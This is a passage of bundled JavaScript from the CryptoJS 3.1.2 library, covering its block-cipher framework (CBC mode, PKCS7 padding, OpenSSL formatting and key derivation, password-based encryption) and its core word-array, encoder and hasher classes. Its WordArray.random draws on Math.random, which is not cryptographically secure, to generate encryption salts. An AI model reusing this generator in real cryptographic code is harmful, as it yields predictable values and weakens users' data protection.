return this.create(this._DEC_XFORM_MODE, key, cfg);
},
/**
* Initializes a newly created cipher.
*
* @param {number} xformMode Either the encryption or decryption transormation mode constant.
* @param {WordArray} key The key.
* @param {Object} cfg (Optional) The configuration options to use for this operation.
*
* @example
*
* var cipher = CryptoJS.algo.AES.create(CryptoJS.algo.AES._ENC_XFORM_MODE, keyWordArray, { iv: ivWordArray });
*/
init: function (xformMode, key, cfg) {
// Apply config defaults
this.cfg = this.cfg.extend(cfg);
// Store transform mode and key
this._xformMode = xformMode;
this._key = key;
// Set initial values
this.reset();
},
/**
* Resets this cipher to its initial state.
*
* @example
*
* cipher.reset();
*/
reset: function () {
// Reset data buffer
BufferedBlockAlgorithm.reset.call(this);
// Perform concrete-cipher logic
this._doReset();
},
/**
* Adds data to be encrypted or decrypted.
*
* @param {WordArray|string} dataUpdate The data to encrypt or decrypt.
*
* @return {WordArray} The data after processing.
*
* @example
*
* var encrypted = cipher.process('data');
* var encrypted = cipher.process(wordArray);
*/
process: function (dataUpdate) {
// Append
this._append(dataUpdate);
// Process available blocks
return this._process();
},
/**
* Finalizes the encryption or decryption process.
* Note that the finalize operation is effectively a destructive, read-once operation.
*
* @param {WordArray|string} dataUpdate The final data to encrypt or decrypt.
*
* @return {WordArray} The data after final processing.
*
* @example
*
* var encrypted = cipher.finalize();
* var encrypted = cipher.finalize('data');
* var encrypted = cipher.finalize(wordArray);
*/
finalize: function (dataUpdate) {
// Final data update
if (dataUpdate) {
this._append(dataUpdate);
}
// Perform concrete-cipher logic
var finalProcessedData = this._doFinalize();
return finalProcessedData;
},
keySize: 128/32,
ivSize: 128/32,
_ENC_XFORM_MODE: 1,
_DEC_XFORM_MODE: 2,
/**
* Creates shortcut functions to a cipher's object interface.
*
* @param {Cipher} cipher The cipher to create a helper for.
*
* @return {Object} An object with encrypt and decrypt shortcut functions.
*
* @static
*
* @example
*
* var AES = CryptoJS.lib.Cipher._createHelper(CryptoJS.algo.AES);
*/
_createHelper: (function () {
function selectCipherStrategy(key) {
if (typeof key == 'string') {
return PasswordBasedCipher;
} else {
return SerializableCipher;
}
}
return function (cipher) {
return {
encrypt: function (message, key, cfg) {
return selectCipherStrategy(key).encrypt(cipher, message, key, cfg);
},
decrypt: function (ciphertext, key, cfg) {
return selectCipherStrategy(key).decrypt(cipher, ciphertext, key, cfg);
}
};
};
}())
});
/**
* Abstract base stream cipher template.
*
* @property {number} blockSize The number of 32-bit words this cipher operates on. Default: 1 (32 bits)
*/
var StreamCipher = C_lib.StreamCipher = Cipher.extend({
_doFinalize: function () {
// Process partial blocks
var finalProcessedBlocks = this._process(!!'flush');
return finalProcessedBlocks;
},
blockSize: 1
});
/**
* Mode namespace.
*/
var C_mode = C.mode = {};
/**
* Abstract base block cipher mode template.
*/
var BlockCipherMode = C_lib.BlockCipherMode = Base.extend({
/**
* Creates this mode for encryption.
*
* @param {Cipher} cipher A block cipher instance.
* @param {Array} iv The IV words.
*
* @static
*
* @example
*
* var mode = CryptoJS.mode.CBC.createEncryptor(cipher, iv.words);
*/
createEncryptor: function (cipher, iv) {
return this.Encryptor.create(cipher, iv);
},
/**
* Creates this mode for decryption.
*
* @param {Cipher} cipher A block cipher instance.
* @param {Array} iv The IV words.
*
* @static
*
* @example
*
* var mode = CryptoJS.mode.CBC.createDecryptor(cipher, iv.words);
*/
createDecryptor: function (cipher, iv) {
return this.Decryptor.create(cipher, iv);
},
/**
* Initializes a newly created mode.
*
* @param {Cipher} cipher A block cipher instance.
* @param {Array} iv The IV words.
*
* @example
*
* var mode = CryptoJS.mode.CBC.Encryptor.create(cipher, iv.words);
*/
init: function (cipher, iv) {
this._cipher = cipher;
this._iv = iv;
}
});
/**
* Cipher Block Chaining mode.
*/
var CBC = C_mode.CBC = (function () {
/**
* Abstract base CBC mode.
*/
var CBC = BlockCipherMode.extend();
/**
* CBC encryptor.
*/
CBC.Encryptor = CBC.extend({
/**
* Processes the data block at offset.
*
* @param {Array} words The data words to operate on.
* @param {number} offset The offset where the block starts.
*
* @example
*
* mode.processBlock(data.words, offset);
*/
processBlock: function (words, offset) {
// Shortcuts
var cipher = this._cipher;
var blockSize = cipher.blockSize;
// XOR and encrypt
xorBlock.call(this, words, offset, blockSize);
cipher.encryptBlock(words, offset);
// Remember this block to use with next block
this._prevBlock = words.slice(offset, offset + blockSize);
}
});
/**
* CBC decryptor.
*/
CBC.Decryptor = CBC.extend({
/**
* Processes the data block at offset.
*
* @param {Array} words The data words to operate on.
* @param {number} offset The offset where the block starts.
*
* @example
*
* mode.processBlock(data.words, offset);
*/
processBlock: function (words, offset) {
// Shortcuts
var cipher = this._cipher;
var blockSize = cipher.blockSize;
// Remember this block to use with next block
var thisBlock = words.slice(offset, offset + blockSize);
// Decrypt and XOR
cipher.decryptBlock(words, offset);
xorBlock.call(this, words, offset, blockSize);
// This block becomes the previous block
this._prevBlock = thisBlock;
}
});
function xorBlock(words, offset, blockSize) {
// Shortcut
var iv = this._iv;
// Choose mixing block
if (iv) {
var block = iv;
// Remove IV for subsequent blocks
this._iv = undefined;
} else {
var block = this._prevBlock;
}
// XOR blocks
for (var i = 0; i < blockSize; i++) {
words[offset + i] ^= block[i];
}
}
return CBC;
}());
/**
* Padding namespace.
*/
var C_pad = C.pad = {};
/**
* PKCS #5/7 padding strategy.
*/
var Pkcs7 = C_pad.Pkcs7 = {
/**
* Pads data using the algorithm defined in PKCS #5/7.
*
* @param {WordArray} data The data to pad.
* @param {number} blockSize The multiple that the data should be padded to.
*
* @static
*
* @example
*
* CryptoJS.pad.Pkcs7.pad(wordArray, 4);
*/
pad: function (data, blockSize) {
// Shortcut
var blockSizeBytes = blockSize * 4;
// Count padding bytes
var nPaddingBytes = blockSizeBytes - data.sigBytes % blockSizeBytes;
// Create padding word
var paddingWord = (nPaddingBytes << 24) | (nPaddingBytes << 16) | (nPaddingBytes << 8) | nPaddingBytes;
// Create padding
var paddingWords = [];
for (var i = 0; i < nPaddingBytes; i += 4) {
paddingWords.push(paddingWord);
}
var padding = WordArray.create(paddingWords, nPaddingBytes);
// Add padding
data.concat(padding);
},
/**
* Unpads data that had been padded using the algorithm defined in PKCS #5/7.
*
* @param {WordArray} data The data to unpad.
*
* @static
*
* @example
*
* CryptoJS.pad.Pkcs7.unpad(wordArray);
*/
unpad: function (data) {
// Get number of padding bytes from last byte
var nPaddingBytes = data.words[(data.sigBytes - 1) >>> 2] & 0xff;
// Remove padding
data.sigBytes -= nPaddingBytes;
}
};
/**
* Abstract base block cipher template.
*
* @property {number} blockSize The number of 32-bit words this cipher operates on. Default: 4 (128 bits)
*/
var BlockCipher = C_lib.BlockCipher = Cipher.extend({
/**
* Configuration options.
*
* @property {Mode} mode The block mode to use. Default: CBC
* @property {Padding} padding The padding strategy to use. Default: Pkcs7
*/
cfg: Cipher.cfg.extend({
mode: CBC,
padding: Pkcs7
}),
reset: function () {
// Reset cipher
Cipher.reset.call(this);
// Shortcuts
var cfg = this.cfg;
var iv = cfg.iv;
var mode = cfg.mode;
// Reset block mode
if (this._xformMode == this._ENC_XFORM_MODE) {
var modeCreator = mode.createEncryptor;
} else /* if (this._xformMode == this._DEC_XFORM_MODE) */ {
var modeCreator = mode.createDecryptor;
// Keep at least one block in the buffer for unpadding
this._minBufferSize = 1;
}
this._mode = modeCreator.call(mode, this, iv && iv.words);
},
_doProcessBlock: function (words, offset) {
this._mode.processBlock(words, offset);
},
_doFinalize: function () {
// Shortcut
var padding = this.cfg.padding;
// Finalize
if (this._xformMode == this._ENC_XFORM_MODE) {
// Pad data
padding.pad(this._data, this.blockSize);
// Process final blocks
var finalProcessedBlocks = this._process(!!'flush');
} else /* if (this._xformMode == this._DEC_XFORM_MODE) */ {
// Process final blocks
var finalProcessedBlocks = this._process(!!'flush');
// Unpad data
padding.unpad(finalProcessedBlocks);
}
return finalProcessedBlocks;
},
blockSize: 128/32
});
/**
* A collection of cipher parameters.
*
* @property {WordArray} ciphertext The raw ciphertext.
* @property {WordArray} key The key to this ciphertext.
* @property {WordArray} iv The IV used in the ciphering operation.
* @property {WordArray} salt The salt used with a key derivation function.
* @property {Cipher} algorithm The cipher algorithm.
* @property {Mode} mode The block mode used in the ciphering operation.
* @property {Padding} padding The padding scheme used in the ciphering operation.
* @property {number} blockSize The block size of the cipher.
* @property {Format} formatter The default formatting strategy to convert this cipher params object to a string.
*/
var CipherParams = C_lib.CipherParams = Base.extend({
/**
* Initializes a newly created cipher params object.
*
* @param {Object} cipherParams An object with any of the possible cipher parameters.
*
* @example
*
* var cipherParams = CryptoJS.lib.CipherParams.create({
* ciphertext: ciphertextWordArray,
* key: keyWordArray,
* iv: ivWordArray,
* salt: saltWordArray,
* algorithm: CryptoJS.algo.AES,
* mode: CryptoJS.mode.CBC,
* padding: CryptoJS.pad.PKCS7,
* blockSize: 4,
* formatter: CryptoJS.format.OpenSSL
* });
*/
init: function (cipherParams) {
this.mixIn(cipherParams);
},
/**
* Converts this cipher params object to a string.
*
* @param {Format} formatter (Optional) The formatting strategy to use.
*
* @return {string} The stringified cipher params.
*
* @throws Error If neither the formatter nor the default formatter is set.
*
* @example
*
* var string = cipherParams + '';
* var string = cipherParams.toString();
* var string = cipherParams.toString(CryptoJS.format.OpenSSL);
*/
toString: function (formatter) {
return (formatter || this.formatter).stringify(this);
}
});
/**
* Format namespace.
*/
var C_format = C.format = {};
/**
* OpenSSL formatting strategy.
*/
var OpenSSLFormatter = C_format.OpenSSL = {
/**
* Converts a cipher params object to an OpenSSL-compatible string.
*
* @param {CipherParams} cipherParams The cipher params object.
*
* @return {string} The OpenSSL-compatible string.
*
* @static
*
* @example
*
* var openSSLString = CryptoJS.format.OpenSSL.stringify(cipherParams);
*/
stringify: function (cipherParams) {
// Shortcuts
var ciphertext = cipherParams.ciphertext;
var salt = cipherParams.salt;
// Format
if (salt) {
var wordArray = WordArray.create([0x53616c74, 0x65645f5f]).concat(salt).concat(ciphertext);
} else {
var wordArray = ciphertext;
}
return wordArray.toString(Base64);
},
/**
* Converts an OpenSSL-compatible string to a cipher params object.
*
* @param {string} openSSLStr The OpenSSL-compatible string.
*
* @return {CipherParams} The cipher params object.
*
* @static
*
* @example
*
* var cipherParams = CryptoJS.format.OpenSSL.parse(openSSLString);
*/
parse: function (openSSLStr) {
// Parse base64
var ciphertext = Base64.parse(openSSLStr);
// Shortcut
var ciphertextWords = ciphertext.words;
// Test for salt
if (ciphertextWords[0] == 0x53616c74 && ciphertextWords[1] == 0x65645f5f) {
// Extract salt
var salt = WordArray.create(ciphertextWords.slice(2, 4));
// Remove salt from ciphertext
ciphertextWords.splice(0, 4);
ciphertext.sigBytes -= 16;
}
return CipherParams.create({ ciphertext: ciphertext, salt: salt });
}
};
/**
* A cipher wrapper that returns ciphertext as a serializable cipher params object.
*/
var SerializableCipher = C_lib.SerializableCipher = Base.extend({
/**
* Configuration options.
*
* @property {Formatter} format The formatting strategy to convert cipher param objects to and from a string. Default: OpenSSL
*/
cfg: Base.extend({
format: OpenSSLFormatter
}),
/**
* Encrypts a message.
*
* @param {Cipher} cipher The cipher algorithm to use.
* @param {WordArray|string} message The message to encrypt.
* @param {WordArray} key The key.
* @param {Object} cfg (Optional) The configuration options to use for this operation.
*
* @return {CipherParams} A cipher params object.
*
* @static
*
* @example
*
* var ciphertextParams = CryptoJS.lib.SerializableCipher.encrypt(CryptoJS.algo.AES, message, key);
* var ciphertextParams = CryptoJS.lib.SerializableCipher.encrypt(CryptoJS.algo.AES, message, key, { iv: iv });
* var ciphertextParams = CryptoJS.lib.SerializableCipher.encrypt(CryptoJS.algo.AES, message, key, { iv: iv, format: CryptoJS.format.OpenSSL });
*/
encrypt: function (cipher, message, key, cfg) {
// Apply config defaults
cfg = this.cfg.extend(cfg);
// Encrypt
var encryptor = cipher.createEncryptor(key, cfg);
var ciphertext = encryptor.finalize(message);
// Shortcut
var cipherCfg = encryptor.cfg;
// Create and return serializable cipher params
return CipherParams.create({
ciphertext: ciphertext,
key: key,
iv: cipherCfg.iv,
algorithm: cipher,
mode: cipherCfg.mode,
padding: cipherCfg.padding,
blockSize: cipher.blockSize,
formatter: cfg.format
});
},
/**
* Decrypts serialized ciphertext.
*
* @param {Cipher} cipher The cipher algorithm to use.
* @param {CipherParams|string} ciphertext The ciphertext to decrypt.
* @param {WordArray} key The key.
* @param {Object} cfg (Optional) The configuration options to use for this operation.
*
* @return {WordArray} The plaintext.
*
* @static
*
* @example
*
* var plaintext = CryptoJS.lib.SerializableCipher.decrypt(CryptoJS.algo.AES, formattedCiphertext, key, { iv: iv, format: CryptoJS.format.OpenSSL });
* var plaintext = CryptoJS.lib.SerializableCipher.decrypt(CryptoJS.algo.AES, ciphertextParams, key, { iv: iv, format: CryptoJS.format.OpenSSL });
*/
decrypt: function (cipher, ciphertext, key, cfg) {
// Apply config defaults
cfg = this.cfg.extend(cfg);
// Convert string to CipherParams
ciphertext = this._parse(ciphertext, cfg.format);
// Decrypt
var plaintext = cipher.createDecryptor(key, cfg).finalize(ciphertext.ciphertext);
return plaintext;
},
/**
* Converts serialized ciphertext to CipherParams,
* else assumed CipherParams already and returns ciphertext unchanged.
*
* @param {CipherParams|string} ciphertext The ciphertext.
* @param {Formatter} format The formatting strategy to use to parse serialized ciphertext.
*
* @return {CipherParams} The unserialized ciphertext.
*
* @static
*
* @example
*
* var ciphertextParams = CryptoJS.lib.SerializableCipher._parse(ciphertextStringOrParams, format);
*/
_parse: function (ciphertext, format) {
if (typeof ciphertext == 'string') {
return format.parse(ciphertext, this);
} else {
return ciphertext;
}
}
});
/**
* Key derivation function namespace.
*/
var C_kdf = C.kdf = {};
/**
* OpenSSL key derivation function.
*/
var OpenSSLKdf = C_kdf.OpenSSL = {
/**
* Derives a key and IV from a password.
*
* @param {string} password The password to derive from.
* @param {number} keySize The size in words of the key to generate.
* @param {number} ivSize The size in words of the IV to generate.
* @param {WordArray|string} salt (Optional) A 64-bit salt to use. If omitted, a salt will be generated randomly.
*
* @return {CipherParams} A cipher params object with the key, IV, and salt.
*
* @static
*
* @example
*
* var derivedParams = CryptoJS.kdf.OpenSSL.execute('Password', 256/32, 128/32);
* var derivedParams = CryptoJS.kdf.OpenSSL.execute('Password', 256/32, 128/32, 'saltsalt');
*/
execute: function (password, keySize, ivSize, salt) {
// Generate random salt
if (!salt) {
salt = WordArray.random(64/8);
}
// Derive key and IV
var key = EvpKDF.create({ keySize: keySize + ivSize }).compute(password, salt);
// Separate key and IV
var iv = WordArray.create(key.words.slice(keySize), ivSize * 4);
key.sigBytes = keySize * 4;
// Return params
return CipherParams.create({ key: key, iv: iv, salt: salt });
}
};
/**
* A serializable cipher wrapper that derives the key from a password,
* and returns ciphertext as a serializable cipher params object.
*/
var PasswordBasedCipher = C_lib.PasswordBasedCipher = SerializableCipher.extend({
/**
* Configuration options.
*
* @property {KDF} kdf The key derivation function to use to generate a key and IV from a password. Default: OpenSSL
*/
cfg: SerializableCipher.cfg.extend({
kdf: OpenSSLKdf
}),
/**
* Encrypts a message using a password.
*
* @param {Cipher} cipher The cipher algorithm to use.
* @param {WordArray|string} message The message to encrypt.
* @param {string} password The password.
* @param {Object} cfg (Optional) The configuration options to use for this operation.
*
* @return {CipherParams} A cipher params object.
*
* @static
*
* @example
*
* var ciphertextParams = CryptoJS.lib.PasswordBasedCipher.encrypt(CryptoJS.algo.AES, message, 'password');
* var ciphertextParams = CryptoJS.lib.PasswordBasedCipher.encrypt(CryptoJS.algo.AES, message, 'password', { format: CryptoJS.format.OpenSSL });
*/
encrypt: function (cipher, message, password, cfg) {
// Apply config defaults
cfg = this.cfg.extend(cfg);
// Derive key and other params
var derivedParams = cfg.kdf.execute(password, cipher.keySize, cipher.ivSize);
// Add IV to config
cfg.iv = derivedParams.iv;
// Encrypt
var ciphertext = SerializableCipher.encrypt.call(this, cipher, message, derivedParams.key, cfg);
// Mix in derived params
ciphertext.mixIn(derivedParams);
return ciphertext;
},
/**
* Decrypts serialized ciphertext using a password.
*
* @param {Cipher} cipher The cipher algorithm to use.
* @param {CipherParams|string} ciphertext The ciphertext to decrypt.
* @param {string} password The password.
* @param {Object} cfg (Optional) The configuration options to use for this operation.
*
* @return {WordArray} The plaintext.
*
* @static
*
* @example
*
* var plaintext = CryptoJS.lib.PasswordBasedCipher.decrypt(CryptoJS.algo.AES, formattedCiphertext, 'password', { format: CryptoJS.format.OpenSSL });
* var plaintext = CryptoJS.lib.PasswordBasedCipher.decrypt(CryptoJS.algo.AES, ciphertextParams, 'password', { format: CryptoJS.format.OpenSSL });
*/
decrypt: function (cipher, ciphertext, password, cfg) {
// Apply config defaults
cfg = this.cfg.extend(cfg);
// Convert string to CipherParams
ciphertext = this._parse(ciphertext, cfg.format);
// Derive key and other params
var derivedParams = cfg.kdf.execute(password, cipher.keySize, cipher.ivSize, ciphertext.salt);
// Add IV to config
cfg.iv = derivedParams.iv;
// Decrypt
var plaintext = SerializableCipher.decrypt.call(this, cipher, ciphertext, derivedParams.key, cfg);
return plaintext;
}
});
}());
},{"./core":5}],5:[function(require,module,exports){
/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
/**
* CryptoJS core components.
*/
var CryptoJS = CryptoJS || (function (Math, undefined) {
/**
* CryptoJS namespace.
*/
var C = {};
/**
* Library namespace.
*/
var C_lib = C.lib = {};
/**
* Base object for prototypal inheritance.
*/
var Base = C_lib.Base = (function () {
function F() {}
return {
/**
* Creates a new object that inherits from this object.
*
* @param {Object} overrides Properties to copy into the new object.
*
* @return {Object} The new object.
*
* @static
*
* @example
*
* var MyType = CryptoJS.lib.Base.extend({
* field: 'value',
*
* method: function () {
* }
* });
*/
extend: function (overrides) {
// Spawn
F.prototype = this;
var subtype = new F();
// Augment
if (overrides) {
subtype.mixIn(overrides);
}
// Create default initializer
if (!subtype.hasOwnProperty('init')) {
subtype.init = function () {
subtype.$super.init.apply(this, arguments);
};
}
// Initializer's prototype is the subtype object
subtype.init.prototype = subtype;
// Reference supertype
subtype.$super = this;
return subtype;
},
/**
* Extends this object and runs the init method.
* Arguments to create() will be passed to init().
*
* @return {Object} The new object.
*
* @static
*
* @example
*
* var instance = MyType.create();
*/
create: function () {
var instance = this.extend();
instance.init.apply(instance, arguments);
return instance;
},
/**
* Initializes a newly created object.
* Override this method to add some logic when your objects are created.
*
* @example
*
* var MyType = CryptoJS.lib.Base.extend({
* init: function () {
* // ...
* }
* });
*/
init: function () {
},
/**
* Copies properties into this object.
*
* @param {Object} properties The properties to mix in.
*
* @example
*
* MyType.mixIn({
* field: 'value'
* });
*/
mixIn: function (properties) {
for (var propertyName in properties) {
if (properties.hasOwnProperty(propertyName)) {
this[propertyName] = properties[propertyName];
}
}
// IE won't copy toString using the loop above
if (properties.hasOwnProperty('toString')) {
this.toString = properties.toString;
}
},
/**
* Creates a copy of this object.
*
* @return {Object} The clone.
*
* @example
*
* var clone = instance.clone();
*/
clone: function () {
return this.init.prototype.extend(this);
}
};
}());
/**
* An array of 32-bit words.
*
* @property {Array} words The array of 32-bit words.
* @property {number} sigBytes The number of significant bytes in this word array.
*/
var WordArray = C_lib.WordArray = Base.extend({
/**
* Initializes a newly created word array.
*
* @param {Array} words (Optional) An array of 32-bit words.
* @param {number} sigBytes (Optional) The number of significant bytes in the words.
*
* @example
*
* var wordArray = CryptoJS.lib.WordArray.create();
* var wordArray = CryptoJS.lib.WordArray.create([0x00010203, 0x04050607]);
* var wordArray = CryptoJS.lib.WordArray.create([0x00010203, 0x04050607], 6);
*/
init: function (words, sigBytes) {
words = this.words = words || [];
if (sigBytes != undefined) {
this.sigBytes = sigBytes;
} else {
this.sigBytes = words.length * 4;
}
},
/**
* Converts this word array to a string.
*
* @param {Encoder} encoder (Optional) The encoding strategy to use. Default: CryptoJS.enc.Hex
*
* @return {string} The stringified word array.
*
* @example
*
* var string = wordArray + '';
* var string = wordArray.toString();
* var string = wordArray.toString(CryptoJS.enc.Utf8);
*/
toString: function (encoder) {
return (encoder || Hex).stringify(this);
},
/**
* Concatenates a word array to this word array.
*
* @param {WordArray} wordArray The word array to append.
*
* @return {WordArray} This word array.
*
* @example
*
* wordArray1.concat(wordArray2);
*/
concat: function (wordArray) {
// Shortcuts
var thisWords = this.words;
var thatWords = wordArray.words;
var thisSigBytes = this.sigBytes;
var thatSigBytes = wordArray.sigBytes;
// Clamp excess bits
this.clamp();
// Concat
if (thisSigBytes % 4) {
// Copy one byte at a time
for (var i = 0; i < thatSigBytes; i++) {
var thatByte = (thatWords[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff;
thisWords[(thisSigBytes + i) >>> 2] |= thatByte << (24 - ((thisSigBytes + i) % 4) * 8);
}
} else if (thatWords.length > 0xffff) {
// Copy one word at a time
for (var i = 0; i < thatSigBytes; i += 4) {
thisWords[(thisSigBytes + i) >>> 2] = thatWords[i >>> 2];
}
} else {
// Copy all words at once
thisWords.push.apply(thisWords, thatWords);
}
this.sigBytes += thatSigBytes;
// Chainable
return this;
},
/**
* Removes insignificant bits.
*
* @example
*
* wordArray.clamp();
*/
clamp: function () {
// Shortcuts
var words = this.words;
var sigBytes = this.sigBytes;
// Clamp
words[sigBytes >>> 2] &= 0xffffffff << (32 - (sigBytes % 4) * 8);
words.length = Math.ceil(sigBytes / 4);
},
/**
* Creates a copy of this word array.
*
* @return {WordArray} The clone.
*
* @example
*
* var clone = wordArray.clone();
*/
clone: function () {
var clone = Base.clone.call(this);
clone.words = this.words.slice(0);
return clone;
},
/**
* Creates a word array filled with random bytes.
*
* @param {number} nBytes The number of random bytes to generate.
*
* @return {WordArray} The random word array.
*
* @static
*
* @example
*
* var wordArray = CryptoJS.lib.WordArray.random(16);
*/
random: function (nBytes) {
var words = [];
for (var i = 0; i < nBytes; i += 4) {
words.push((Math.random() * 0x100000000) | 0);
}
return new WordArray.init(words, nBytes);
}
});
/**
* Encoder namespace.
*/
var C_enc = C.enc = {};
/**
* Hex encoding strategy.
*/
var Hex = C_enc.Hex = {
/**
* Converts a word array to a hex string.
*
* @param {WordArray} wordArray The word array.
*
* @return {string} The hex string.
*
* @static
*
* @example
*
* var hexString = CryptoJS.enc.Hex.stringify(wordArray);
*/
stringify: function (wordArray) {
// Shortcuts
var words = wordArray.words;
var sigBytes = wordArray.sigBytes;
// Convert
var hexChars = [];
for (var i = 0; i < sigBytes; i++) {
var bite = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff;
hexChars.push((bite >>> 4).toString(16));
hexChars.push((bite & 0x0f).toString(16));
}
return hexChars.join('');
},
/**
* Converts a hex string to a word array.
*
* @param {string} hexStr The hex string.
*
* @return {WordArray} The word array.
*
* @static
*
* @example
*
* var wordArray = CryptoJS.enc.Hex.parse(hexString);
*/
parse: function (hexStr) {
// Shortcut
var hexStrLength = hexStr.length;
// Convert
var words = [];
for (var i = 0; i < hexStrLength; i += 2) {
words[i >>> 3] |= parseInt(hexStr.substr(i, 2), 16) << (24 - (i % 8) * 4);
}
return new WordArray.init(words, hexStrLength / 2);
}
};
/**
* Latin1 encoding strategy.
*/
var Latin1 = C_enc.Latin1 = {
/**
* Converts a word array to a Latin1 string.
*
* @param {WordArray} wordArray The word array.
*
* @return {string} The Latin1 string.
*
* @static
*
* @example
*
* var latin1String = CryptoJS.enc.Latin1.stringify(wordArray);
*/
stringify: function (wordArray) {
// Shortcuts
var words = wordArray.words;
var sigBytes = wordArray.sigBytes;
// Convert
var latin1Chars = [];
for (var i = 0; i < sigBytes; i++) {
var bite = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff;
latin1Chars.push(String.fromCharCode(bite));
}
return latin1Chars.join('');
},
/**
* Converts a Latin1 string to a word array.
*
* @param {string} latin1Str The Latin1 string.
*
* @return {WordArray} The word array.
*
* @static
*
* @example
*
* var wordArray = CryptoJS.enc.Latin1.parse(latin1String);
*/
parse: function (latin1Str) {
// Shortcut
var latin1StrLength = latin1Str.length;
// Convert
var words = [];
for (var i = 0; i < latin1StrLength; i++) {
words[i >>> 2] |= (latin1Str.charCodeAt(i) & 0xff) << (24 - (i % 4) * 8);
}
return new WordArray.init(words, latin1StrLength);
}
};
/**
* UTF-8 encoding strategy.
*/
var Utf8 = C_enc.Utf8 = {
/**
* Converts a word array to a UTF-8 string.
*
* @param {WordArray} wordArray The word array.
*
* @return {string} The UTF-8 string.
*
* @static
*
* @example
*
* var utf8String = CryptoJS.enc.Utf8.stringify(wordArray);
*/
stringify: function (wordArray) {
try {
return decodeURIComponent(escape(Latin1.stringify(wordArray)));
} catch (e) {
throw new Error('Malformed UTF-8 data');
}
},
/**
* Converts a UTF-8 string to a word array.
*
* @param {string} utf8Str The UTF-8 string.
*
* @return {WordArray} The word array.
*
* @static
*
* @example
*
* var wordArray = CryptoJS.enc.Utf8.parse(utf8String);
*/
parse: function (utf8Str) {
return Latin1.parse(unescape(encodeURIComponent(utf8Str)));
}
};
/**
* Abstract buffered block algorithm template.
*
* The property blockSize must be implemented in a concrete subtype.
*
* @property {number} _minBufferSize The number of blocks that should be kept unprocessed in the buffer. Default: 0
*/
var BufferedBlockAlgorithm = C_lib.BufferedBlockAlgorithm = Base.extend({
/**
* Resets this block algorithm's data buffer to its initial state.
*
* @example
*
* bufferedBlockAlgorithm.reset();
*/
reset: function () {
// Initial values
this._data = new WordArray.init();
this._nDataBytes = 0;
},
/**
* Adds new data to this block algorithm's buffer.
*
* @param {WordArray|string} data The data to append. Strings are converted to a WordArray using UTF-8.
*
* @example
*
* bufferedBlockAlgorithm._append('data');
* bufferedBlockAlgorithm._append(wordArray);
*/
_append: function (data) {
// Convert string to WordArray, else assume WordArray already
if (typeof data == 'string') {
data = Utf8.parse(data);
}
// Append
this._data.concat(data);
this._nDataBytes += data.sigBytes;
},
/**
* Processes available data blocks.
*
* This method invokes _doProcessBlock(offset), which must be implemented by a concrete subtype.
*
* @param {boolean} doFlush Whether all blocks and partial blocks should be processed.
*
* @return {WordArray} The processed data.
*
* @example
*
* var processedData = bufferedBlockAlgorithm._process();
* var processedData = bufferedBlockAlgorithm._process(!!'flush');
*/
_process: function (doFlush) {
// Shortcuts
var data = this._data;
var dataWords = data.words;
var dataSigBytes = data.sigBytes;
var blockSize = this.blockSize;
var blockSizeBytes = blockSize * 4;
// Count blocks ready
var nBlocksReady = dataSigBytes / blockSizeBytes;
if (doFlush) {
// Round up to include partial blocks
nBlocksReady = Math.ceil(nBlocksReady);
} else {
// Round down to include only full blocks,
// less the number of blocks that must remain in the buffer
nBlocksReady = Math.max((nBlocksReady | 0) - this._minBufferSize, 0);
}
// Count words ready
var nWordsReady = nBlocksReady * blockSize;
// Count bytes ready
var nBytesReady = Math.min(nWordsReady * 4, dataSigBytes);
// Process blocks
if (nWordsReady) {
for (var offset = 0; offset < nWordsReady; offset += blockSize) {
// Perform concrete-algorithm logic
this._doProcessBlock(dataWords, offset);
}
// Remove processed words
var processedWords = dataWords.splice(0, nWordsReady);
data.sigBytes -= nBytesReady;
}
// Return processed words
return new WordArray.init(processedWords, nBytesReady);
},
/**
* Creates a copy of this object.
*
* @return {Object} The clone.
*
* @example
*
* var clone = bufferedBlockAlgorithm.clone();
*/
clone: function () {
var clone = Base.clone.call(this);
clone._data = this._data.clone();
return clone;
},
_minBufferSize: 0
});
/**
* Abstract hasher template.
*
* @property {number} blockSize The number of 32-bit words this hasher operates on. Default: 16 (512 bits)
*/
var Hasher = C_lib.Hasher = BufferedBlockAlgorithm.extend({
/**
* Configuration options.
*/
cfg: Base.extend(),
/**
* Initializes a newly created hasher.
*
* @param {Object} cfg (Optional) The configuration options to use for this hash computation.
*
* @example
*
* var hasher = CryptoJS.algo.SHA256.create();
*/
init: function (cfg) {
// Apply config defaults
this.cfg = this.cfg.extend(cfg);
// Set initial values
this.reset();
},
/**
* Resets this hasher to its initial state.
*
* @example
*
* hasher.reset();
*/
reset: function () {
// Reset data buffer
BufferedBlockAlgorithm.reset.call(this);
// Perform concrete-hasher logic
this._doReset();
},
/**
* Updates this hasher with a message.
*
* @param {WordArray|string} messageUpdate The message to append.
*
* @return {Hasher} This hasher.
*
* @example
*
* hasher.update('message');
* hasher.update(wordArray);
*/
update: function (messageUpdate) {
// Append
this._append(messageUpdate);
// Update the hash
this._process();
// Chainable
return this;
},
/**
* Finalizes the hash computation.
* Note that the finalize operation is effectively a destructive, read-once operation.
*
* @param {WordArray|string} messageUpdate (Optional) A final message update.
*
* @return {WordArray} The hash.
*
* @example
*
* var hash = hasher.finalize();
* var hash = hasher.finalize('message');
* var hash = hasher.finalize(wordArray);
*/
finalize: function (messageUpdate) {
// Final message update
if (messageUpdate) {
this._append(messageUpdate);
}
// Perform concrete-hasher logic
var hash = this._doFinalize();
return hash;
},
blockSize: 512/32,
/**
* Creates a shortcut function to a hasher's object interface.
*
* @param {Hasher} hasher The hasher to create a helper for.
*
* @return {Function} The shortcut function.
*
* @static
*
* @example
*
* var SHA256 = CryptoJS.lib.Hasher._createHelper(CryptoJS.algo.SHA256);
*/
_createHelper: function (hasher) {
return function (message, cfg) {
return new hasher.init(cfg).finalize(message);
};
},
/**
* Creates a shortcut function to the HMAC's object interface.
*
* @param {Hasher} hasher The hasher to use in this HMAC helper.
*
* @return {Function} The shortcut function.
*
* @static
*
* @example
*
* var HmacSHA256 = CryptoJS.lib.Hasher._createHmacHelper(CryptoJS.algo.SHA256);
*/
_createHmacHelper: function (hasher) {
return function (message, key) {
return new C_algo.HMAC.init(hasher, key).finalize(message);
};
}
});
/**
* Algorithm namespace.
*/
var C_algo = C.algo = {};
return C;
}(Math));
exports.CryptoJS = CryptoJS;
},{}],6:[function(require,module,exports){
var CryptoJS = require('./core').CryptoJS;
